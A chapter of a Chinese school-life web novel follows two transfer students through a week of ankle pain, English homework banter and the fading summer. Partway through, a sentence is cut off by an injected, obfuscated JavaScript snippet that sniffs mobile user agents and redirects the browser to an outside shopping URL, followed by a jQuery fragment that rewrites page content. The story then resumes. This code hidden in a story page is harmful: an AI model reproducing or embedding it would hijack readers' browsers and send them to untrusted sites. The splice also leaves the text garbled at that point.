周一的早晨，谢燃是瘸着进教室的。
右脚脚踝的冰敷了一路，纪砚买的消炎药吃了两颗，肿消下去大半，但走路还是疼。他把重心偏向左腿，右脚的鞋带松了两扣，踩下去的时候轻得像在试探地雷。
教室里人已经来了大半。早读前的这段时间最吵，有人赶作业，有人吃早餐，有人趴在桌上补觉，几个女生围在一起看手机，时不时发出一阵压低了但没完全压住的尖叫。
谢燃把书包往桌上一甩，拉开椅子坐下。右脚刚搁到课桌下面的横杠上，英语课代表玲娜就站到了他面前。
“作业。”她说。
玲娜是那种让人第一面就能记住的人。头发染成栗色，发尾烫着小卷，校服外套的袖子挽到小臂，露出一截晒成浅小麦色的手腕。她小时候在国外长大，英语确实好，好到英语老师上课偶尔会问她“玲娜你觉得这个表达地道吗”。这件事她自己也知道，所以每次收作业的时候下巴都会微微扬起，明明就是一只确认了自己领地范围的猫。
谢燃从书包里摸出英语卷子，递过去。卷子折了两道，边角有点皱，大概是塞进书包的时候没仔细对折直接捅进去的。
玲娜接过去，展开看了一眼。眉头皱起来。
“你这字。”
“怎么了？”
“像蚯蚓蘸了墨水在纸上爬。”
谢燃低头看了看自己的卷子。字确实不能说好看——不是丑，是急。每个字母都带着一种不想多待的仓促，a的尾巴没收住，g的圈没合拢，整张卷子看下来像一队急着去投胎的字母。
“看得懂就行。”他说。
“完形填空第三题，你选的什么？”
谢燃低头看了一眼。“C。”
“为什么选C？”
“因为A和B不对。”
玲娜深吸了一口气。那种深吸气的方式很特别——不是生气，是被某句话噎住之后需要重新整理面部表情的那种吸气。
“D也不对？”
“D更不对。”
“你知道这道题考的是虚拟语气吧？”
“知道。”
“那虚拟语气的结构是什么？”
谢燃想了想。“……如果我是你，我就不会问这么多。”
旁边有人笑出声来。笑声很轻，带着一点鼻音，是从斜后方传来的。谢燃不用回头就知道是陆大寻——十七岁的哈士奇Omega，精力旺盛得像是体内装了一台永动机。他才来和风四中没几天，和谢燃纪砚的关系还停留在“知道彼此是转校生”的阶段，不算熟，但他身上有一种自来熟的气质，填补了“不熟”和“熟人”之间的所有过渡地带。
“你笑什么。”玲娜转过头看他。
“没有。”陆大寻坐在椅子上，身体往后仰，椅子的两条前腿离了地，“我就是觉得‘如果我是你我就不会问这么多’这个句子，从语法角度来说，它其实也是个虚拟语气。”
玲娜看了他两秒，然后把卷子卷成一个筒，在谢燃桌上敲了敲。“重写。不是因为字丑，是因为第三题和第八题的逻辑链条断了。你选的都是对的，但你的推理过程是跳的。英语完形填空不考直觉，考逻辑。”
谢燃把卷子拿回来，塞进桌肚里。“明天交。”
“今天。”
“今天脚疼。”
“脚疼跟手有什么关系？”
“气血不通。”
玲娜的鼻孔微微张大了。她张了张嘴，大概想说点什么反驳，但这时候纪砚从前门走了进来。
纪砚走路永远没有多余的动作。书包单肩挂着，左手插在兜里，步子不快不慢。他从玲娜身边经过的时候，目光在谢燃的右脚上停了一瞬——不是刻意看，是扫过去的时候自然捕捉到的，像雷达扫过一片既定区域。
他在谢燃旁边的座位坐下。两个人是同桌，从入学第一天就是。谢燃靠窗，纪砚靠过道。谢燃的桌面上摊着课本、卷子、笔袋和半包没吃完的薯片，纪砚的桌面上只有一本翻开的英语书和一支笔。
“脚还疼？”纪砚问。
“不疼。”
“你刚才说脚疼。”
“那是跟她说的。”
纪砚没再问。他把英语书翻到昨天讲的那一页，用笔在页边距上点了一个很小的点。
玲娜站在过道里，看看谢燃又看看纪砚，最后把收齐的卷子在桌上墩了墩，对齐边缘。“你们两个真的是转校生吗。”她说。
“怎么了？”谢燃问。
“转校生一般会比较……低调。”
“我们很低调啊。”
玲娜看了一眼谢燃瘸着的右脚，又看了一眼纪砚桌上那支摆得和桌沿完全平行的笔，什么都没说，抱着卷子走了。
陆大寻的椅子前腿落回地面，发出一声闷响。他趴在谢燃的椅背上，下巴搁在手臂上，用一种观察动物世界的眼神看着谢燃的后脑勺。
“你的脚怎么伤的？”他问。
“摔的。”
“怎么摔的？”
“走路摔的。”
“走路能摔成这样？”
“能。”谢燃转过头，看着陆大寻，“你没见过人走路摔跤？”
陆大寻盯着他看了两秒。他的眼睛是很浅的琥珀色，和他人一样精力充沛，看人的时候一眨不眨，像在读取什么数据。
“见过。”他说，“但没见过摔完了还这么理直气壮的。”
谢燃还没来得及回答，上课铃响了。
那声音从走廊尽头的喇叭里传出来，是那种老式的电子铃声，音色又尖又亮，像一根针从耳朵扎进去，一直扎到还没睡醒的那部分大脑里。
教室里的人声像被一只手按住了。聊天的闭嘴了，吃早餐的把包子塞进桌肚，补觉的猛地抬起头，脸上印着校服袖口的褶子印。椅子腿刮过地面的声音此起彼伏，然后逐渐安静下来。
英语老师推门进来。姓姜，四十多岁，戴一副金边眼镜，说话的时候尾音会上扬，像每句话的末尾都挂着一个倒问号。她在讲台上摊开课本和教案，环顾了一圈教室。
“课代表，作业收齐了？”
“收了。”玲娜站起来，把那摞卷子放到讲台边上，“缺一份。”
“谁的？”
“谢燃的。”
姜老师的目光移过来。谢燃举起右手，手指并拢，像一个不太标准的敬礼。“明天交。”
“什么原因？”
“脚疼。”
姜老师看了看他搁在课桌下的右脚，肿起来的脚踝把校服裤腿撑得有点紧。她没有追问，只是点了点头。“明天放学前。玲娜你记一下。”
玲娜在便签本上写了一笔，撕下来贴在自己的课桌角上。贴的时候故意把有字的一面朝外，让谢燃能看见。
谢燃看见了。他笑了一下，不是那种被冒犯的冷笑，是真的觉得有意思。玲娜这个人，傲慢归傲慢，但做事一板一眼，从不含糊。她在国外长大，说话直来直去，不绕弯子，和她拌嘴像打乒乓球——你来我往，球速很快，但没人真的想赢。
姜老师开始讲课。今天讲的是虚拟语气的进阶用法，黑板上写满了if引导的条件句。她的板书很工整，粉笔和黑板接触的声音有节奏地响着，嗒，嗒嗒，嗒。
谢燃靠在椅背上，右脚的疼痛变成一种钝钝的背景噪音。不是尖锐的疼，是闷的，像有人用一块湿毛巾裹住了他的脚踝，然后隔着毛巾缓慢地拧。他听着姜老师讲虚拟语气，听着粉笔的声音，听着教室里三十几个人同步翻书的声音。
然后他看向窗外。
教室在教学楼的三层。窗外有一棵榕树，很老了，树干粗得两个成年人合抱不住。气根从枝干上垂下来，密密麻麻的，像一挂被冻住的雨。树冠很大，遮住了半个窗户，阳光从叶片的缝隙里漏进来，在课桌上投下细碎的光斑，风一吹就晃。
夏天已经接近尾声了。榕树的叶子还是绿的，但不是盛夏那种浓得发黑的绿，是浅了一点、薄了一点的绿，像颜料用到最后掺了一滴水的颜色。有几片叶子的边缘开始泛黄，很淡，要仔细看才能发现。知了还在叫，但叫声稀了，不像七月时那样不要命地嘶喊，隔很久才响一声，响完了就沉默，像是在等什么。
谢燃看着那棵榕树，榕树也看着他。
和风市的夏天很长，长到让人忘记秋天是什么样子。九月都过了一半了，空气还是湿热的，校服贴在背上，汗把布料洇出一小块深色的印记。教室天花板上的吊扇开到最大档，扇叶嗡嗡地转，把热风从这边搅到那边，聊胜于无。
但早上和傍晚已经开始凉了。不是冷，是凉——那种从地底渗上来的凉意，藏在风里，躲在阴影里。早上六点起床的时候，光脚踩在地板上会觉得凉，昨天还没有这种感觉。傍晚放学的时候，阳光的颜色从正午的白变成了午后偏黄的暖，把人的影子拉得很长。
谢燃知道，夏天要走了。
不是突然走的。是一点一点撤退的，像海水退潮。先是最热的那几天不见了，然后是蝉鸣变少，然后是傍晚的风里多了一丝说不清道不明的凉。等哪天早上醒来，发现窗外那棵榕树的叶子黄了一半，才意识到秋天已经来了很久了。
他收回目光。黑板上又多了几行板书，姜老师正在分析一个长难句，粉笔点在if这个词上，说这个if引导的不是真实条件句，是虚拟的，和事实相反的。
假设与事实相反。
谢燃低头看了看自己的右脚。脚踝处的肿胀在裤腿下面，看不出来，但能感觉到。每一次心跳，脚踝就跟着跳一下，像一个小小的、藏在骨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536123|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头之间的心脏。
纪砚的笔在课本边缘又点了一个点。他一直在听课，偶尔在书上写几笔，字很工整，和谢燃的蚯蚓体形成鲜明对比。他的坐姿从上课到现在没有变过——背挺直，但不僵硬，左手搭在桌上，右手握笔，肩膀放松。
谢燃有时候觉得纪砚上课的样子像一棵树。不是窗外那种枝繁叶茂的榕树，是另一种树——竹子的那种。安静，笔直，风来了动一下，风走了就恢复原状。没有多余的动作，没有多余的声音，但你知道他在那里。
姜老师讲完了虚拟语气，让大家做课后练习。教室里重新热闹起来，有人翻书，有人借橡皮，有人小声问第三题选什么。粉笔灰在从窗户照进来的阳光里飘着，亮晶晶的，像一群很小的虫子。
谢燃从桌肚里掏出那张皱巴巴的卷子，展平在桌上。完形填空第三题，他选的C。玲娜说他的逻辑链条断了，推理过程是跳的。
他咬着笔帽，把题干又看了一遍。If I _____ you， I would accept the offer. 空格里要填were，不是was。虚拟语气里，be动词全部用were，不管主语是第几人称。他知道这个规则，但他做题的时候不是靠规则推的，是靠读起来的顺溜程度。If I were you，读起来顺。If I was you，读起来卡。
逻辑链条确实断了。断在“语感”和“语法规则”之间。
他把C改成B，又改回C。最后把卷子折起来，决定明天再说。
这一周就这么过去了。
周二的体育课，谢燃因为脚伤坐在跑道边上看着别人跑圈。玲娜跑完八百米，弯着腰在他旁边喘气，汗水把额前的碎发粘在皮肤上。她喘匀了之后看了他一眼。
“脚还疼？”
“疼。”
“交作业。”
“知道。”
周三的语文课，老师让分组讨论课文。谢燃和纪砚一组，陆大寻不知道什么时候蹭了过来，搬着椅子反着坐，手臂搭在椅背上。他话很多，从课文里的“白露横江”扯到秋天的节气，从节气扯到自己小时候养过的一只仓鼠。谢燃被他带跑了，两个人开始争论仓鼠能不能认出主人。纪砚在旁边翻书，偶尔抬眼看一下他们，什么都不说。讨论结束的时候老师让每组派代表发言，陆大寻把谢燃推了起来。
“你起的头，你讲。”
“你扯的仓鼠，你讲。”
最后纪砚站起来，用三句话把课文主旨概括完了。
周四的晚自习，教室里的日光灯嗡嗡响着，把每个人的脸照得发白。谢燃趴在桌上补白天没写完的英语卷子，写到第三题的时候笔尖顿了一下，然后在空格里填了C。纪砚在旁边做数学题，草稿纸上的演算步骤排列得像印刷品。窗外彻底黑了，榕树的轮廓融进夜色里，只剩下一团更深的阴影。蝉鸣已经完全消失了，取而代之的是蟋蟀的叫声，细而绵长，从草丛里升起来，像大地在呼吸。
周五放学的时候，谢燃终于把重写的英语卷子交给了玲娜。玲娜接过去展开，从头看到尾，又从尾看到头。第三题旁边用铅笔写了一行小字——“语感推的，逻辑链条确实断了，但答案是对的。”
玲娜看了他两秒，然后把卷子收进文件夹里。“字比上次好一点。”
“好多少？”
“从蚯蚓蘸墨水变成了蜘蛛蘸墨水。”
谢燃气笑了~
他走出教学楼的时候，纪砚在门口等他。夕阳把整个操场染成橘红色，跑道、单杠、沙坑，所有东西都被拉出长长的影子。那棵老榕树的叶子在晚风里翻动，发出干燥的沙沙声，有几片黄色的叶子从枝头落下来，打着旋，飘到地面上。
夏天真的要走了。
谢燃把书包带往肩上提了提，右脚踩在地上，比周一的时候稳了很多。肿胀消得差不多了，走路的时候只剩一点隐隐的酸，像关节里塞了一小块棉花。
“去买冰棍。”他说。
纪砚看了他一眼。“脚还没好。”
“脚疼跟吃冰棍有什么关系。”
“气血不通。”
谢燃愣了一下，然后笑出声来。那是纪砚在周一早上，玲娜说“脚疼跟手有什么关系”的时候没有说出口的话。他记了整整五天，挑了一个最合适的时机，把它扔了回来。
谢燃笑了好一会，笑到校门口小卖部的老板娘抬头看他们。
“行，不买冰棍。”他说，“买可乐。常温的。”
纪砚没有反对。
两个人并排走出校门。夕阳在他们身后，把影子投在前方的路面上，拉得很长，交叠在一起。和风四中的铁门在身后慢慢关上，门轴发出熟悉的、生了锈一样的嘎吱声。
平凡的一周结束了……